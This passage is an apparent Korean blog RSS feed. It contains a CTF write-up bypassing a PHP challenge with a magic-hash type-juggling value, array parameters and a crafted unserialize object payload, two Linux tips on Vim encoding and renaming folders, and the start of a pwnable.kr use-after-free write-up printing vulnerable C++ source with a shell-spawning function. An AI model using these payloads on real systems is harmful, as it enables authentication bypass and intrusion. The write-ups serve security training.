      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y6WLd/btqtXWXf9YN/GLtTxM1GDwJGKGphEwXFU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y6WLd/btqtXWXf9YN/GLtTxM1GDwJGKGphEwXFU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y6WLd/btqtXWXf9YN/GLtTxM1GDwJGKGphEwXFU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy6WLd%2FbtqtXWXf9YN%2FGLtTxM1GDwJGKGphEwXFU1%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;b00t2root 2019 web 1번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;PHP Type juggling, unserialize 취약점 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj67mG/btqtWZmFyjJ/SQAcWKXKcK7OcnkKofM5kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj67mG/btqtWZmFyjJ/SQAcWKXKcK7OcnkKofM5kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj67mG/btqtWZmFyjJ/SQAcWKXKcK7OcnkKofM5kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj67mG%2FbtqtWZmFyjJ%2FSQAcWKXKcK7OcnkKofM5kK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;페이지에 접속하면 highlight_file 함수에 의해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스가 출력되는데. 그 아래를 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;$_GET['1']과 md5($_GET['1']) 을 비교하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vvgDB/btqtWZmFRU6/70LrzEd5F0pzCWytfvvqYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vvgDB/btqtWZmFRU6/70LrzEd5F0pzCWytfvvqYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vvgDB/btqtWZmFRU6/70LrzEd5F0pzCWytfvvqYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvvgDB%2FbtqtWZmFRU6%2F70LrzEd5F0pzCWytfvvqYK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;md5에는 해싱 이후에도 동일한 0e[0-9]+ 형식이 반환되는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;매직 해시가 존재하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;http://3.16.68.122/Easy-php/?1=0e215962017&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;둘 모두 지수표현으로서 매우 작은 값이므로&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 매직 해시와 php의 느슨한 비교 취약점을 사용하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;비교문을 통과할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZsSEI/btqtYtAnseN/B6u4o1RWLnTljRNpBfGYj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZsSEI/btqtYtAnseN/B6u4o1RWLnTljRNpBfGYj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZsSEI/btqtYtAnseN/B6u4o1RWLnTljRNpBfGYj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZsSEI%2FbtqtYtAnseN%2FB6u4o1RWLnTljRNpBfGYj0%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다음은&amp;nbsp;&lt;span style=&quot;color: #333333;&quot;&gt;$_GET['2']와&amp;nbsp;&lt;span style=&quot;color: #333333;&quot;&gt;$_GET['3'] 을 인자로 사용하는데&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;엄격한 비교 연산자 !== 를 사용해 둘이 모두 같지 않아야 하고&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;숨겨진 값인 $salt를 접두시켜 해싱한 결과같이 동일해야 합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;http://3.16.68.122/Easy-php/?1=0e215962017&amp;amp;2[]=1&amp;amp;3[]=2&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그러나 이 hash함수는 두 인자에 배열을 입력해줌으로서&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;isset을 통과하고 hash 인자로서&amp;nbsp;기능하지 않도록 할 수 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SWCRx/btqtXWCZUlz/WW9af5f6CthHMsAryvrbL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SWCRx/btqtXWCZUlz/WW9af5f6CthHMsAryvrbL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SWCRx/btqtXWCZUlz/WW9af5f6CthHMsAryvrbL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSWCRx%2FbtqtXWCZUlz%2FWW9af5f6CthHMsAryvrbL0%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;unserialize 함수로&amp;nbsp;&lt;span style=&quot;color: #333333;&quot;&gt;$_GET['4'] 인자를&lt;/span&gt; 역직렬화 시키는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;친절하게도 상단에 Secrets이라는 객체를 선언해 주었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;$flag3 가 대입되는 $res-&amp;gt;flag와 $res-&amp;gt;temp가 동일해야 하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;http://3.16.68.122/Easy-php/?1=0e215962017&amp;amp;2[]=&amp;amp;3[]=&amp;amp;4=O:7:&quot;Secrets&quot;:2:{s:4:&quot;temp&quot;;N;s:4:&quot;flag&quot;;R:2;}&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 두 값들은 인자를 역직렬화 시켜 나온 객체를 통해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;연산하므로 $res-&amp;gt;temp 를 $res-&amp;gt;flag의 레퍼런스 변수로 생성해 줌으로서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;비교문을 통과할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VmGlO/btqtZOjezar/hd43kBRI9yQBH1inJmxj5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VmGlO/btqtZOjezar/hd43kBRI9yQBH1inJmxj5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VmGlO/btqtZOjezar/hd43kBRI9yQBH1inJmxj5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVmGlO%2FbtqtZOjezar%2Fhd43kBRI9yQBH1inJmxj5K%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이로서 간단하게 플래그를 얻어낼 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다른 도구를 사용하지 않고 브라우저만으로 해결이 가능한 문제라 편했네요.&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/83</guid>
      <comments>https://posix.tistory.com/83#entry83comment</comments>
      <pubDate>Sat, 30 Mar 2019 20:51:02 +0900</pubDate>
    </item>
    <item>
      <title>Vim에서 한글이 제대로 출력되지 않는 경우 해결법</title>
      <link>https://posix.tistory.com/82</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B0EE345C88A97505&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B0EE345C88A97505&quot; width=&quot;734&quot; height=&quot;493&quot; filename=&quot;스크린샷, 2019-03-13 15-50-37.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Vim 을 처음 설치하고 나면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;한글을 비롯하여 기타 언어들이 제대로 표시되지 않습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이는 기본 인코딩이&amp;nbsp;&lt;b&gt;latin1&lt;/b&gt;으로 설정되어 있기 때문인데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;설정 변경으로 간단히 해결할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996F59345C88A97632&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996F59345C88A97632&quot; width=&quot;734&quot; height=&quot;493&quot; filename=&quot;스크린샷, 2019-03-13 15-51-19.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Vim에 들어가 &lt;b&gt;:set encoding=utf-8&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;을 입력하면 글자가&amp;nbsp;제대로 표시되는것을 확인할 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992068345C88A9762A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992068345C88A9762A&quot; width=&quot;734&quot; height=&quot;493&quot; filename=&quot;스크린샷, 2019-03-13 15-55-23.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이를 영구적으로 설정해주려면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;홈 폴더의 &lt;b&gt;.vimrc&lt;/b&gt; 파일을 수정하여 주면 되는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모든 유저에게 적용하려면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;/etc/vim/vimrc&lt;/b&gt; 파일을 수정하면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;encoding 옵션은 표시 옵션이며&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;fileencoding은 파일 입출력시의 옵션이기에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;encoding 만 설정해두고 fileencodings 설정을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;해 주지 않으면, Vim에서는&amp;nbsp;제대로 나오나&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;타 프로그램에서 제대로 표시되지 않을 수 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Linux</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/82</guid>
      <comments>https://posix.tistory.com/82#entry82comment</comments>
      <pubDate>Wed, 13 Mar 2019 16:03:25 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 폴더명 영어로 변경하기</title>
      <link>https://posix.tistory.com/81</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998A363F5C88A5C134&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998A363F5C88A5C134&quot; width=&quot;734&quot; height=&quot;493&quot; filename=&quot;2019-03-13 15-30-42.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;한글 언어셋으로 하여 리눅스를 설치하고 나면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;기본 폴더가 한글명으로 생성되어 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9911973F5C88A5C10F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9911973F5C88A5C10F&quot; width=&quot;734&quot; height=&quot;493&quot; filename=&quot;2019-03-13 15-31-29.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;홈 폴더의 .config/user-dirs.locale 파일을 확인해보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;ko_KR 이라고 언어셋이 명시되어 있습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이를 en_US 로 바꾸어주면 되는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;gedit vim emacs 좋을대로 사용하셔서 바꾸어 줍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 643px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9984083F5C88A5C201&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9984083F5C88A5C201&quot; width=&quot;643&quot; height=&quot;497&quot; filename=&quot;2019-03-13 15-36-10.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;xdg-user-dirs-gtk-update&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;위 명령을 사용하여 발생한 윈도우에서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이름 변경이 목적이니 Update Names 를 선택해 주어&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;설정을 적용하여 주면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 734px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995AAF3F5C88A5C234&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995AAF3F5C88A5C234&quot; width=&quot;734&quot; height=&quot;493&quot; filename=&quot;2019-03-13 15-38-00.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 변경 전, 폴더에 무언가 파일이 있었다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;특이한 이름의 폴더가 남습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 mv, cp 등을 이용해 모든 내용물을&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;새로운 폴더에 이전시켜 주신 후&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;삭제하여 주시면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;</description>
      <category>Linux</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/81</guid>
      <comments>https://posix.tistory.com/81#entry81comment</comments>
      <pubDate>Wed, 13 Mar 2019 15:47:25 +0900</pubDate>
    </item>
    <item>
      <title>Uaf 문제풀이</title>
      <link>https://posix.tistory.com/80</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Toddler's Bottle 16번 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;Use After Free&lt;/b&gt; 라는 메모리 참조&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;취약점을 다루는 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 710px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B82B355C6B6D3623&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B82B355C6B6D3623&quot; width=&quot;710&quot; height=&quot;380&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;Use After Free&lt;/b&gt; 줄여서 &lt;b&gt;UAF&lt;/b&gt; 취약점은&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;동일한 메모리 영역을 재할당하게 됨으로써 발생하는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;해제과정을 거친 메모리에 접근하게 되면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;세그먼트 폴트 에러가 발생하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;동일한 부분을 재할당하여 다른 데이터를 채워넣는 것으로&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;의도치 못한 동작을 야기할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system(&quot;/bin/sh&quot;);
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout &amp;lt;&amp;lt; &quot;My name is &quot; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; endl;
                cout &amp;lt;&amp;lt; &quot;I am &quot; &amp;lt;&amp;lt; age &amp;lt;&amp;lt; &quot; years old&quot; &amp;lt;&amp;lt; endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this-&amp;gt;name = name;
                this-&amp;gt;age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout &amp;lt;&amp;lt; &quot;I am a nice guy!&quot; &amp;lt;&amp;lt; endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this-&amp;gt;name = name;
                this-&amp;gt;age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout &amp;lt;&amp;lt; &quot;I am a cute girl!&quot; &amp;lt;&amp;lt; endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man(&quot;Jack&quot;, 25);
        Human* w = new Woman(&quot;Jill&quot;, 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout &amp;lt;&amp;lt; &quot;1. use\n2. after\n3. free\n&quot;;
                cin &amp;gt;&amp;gt; op;

                switch(op){
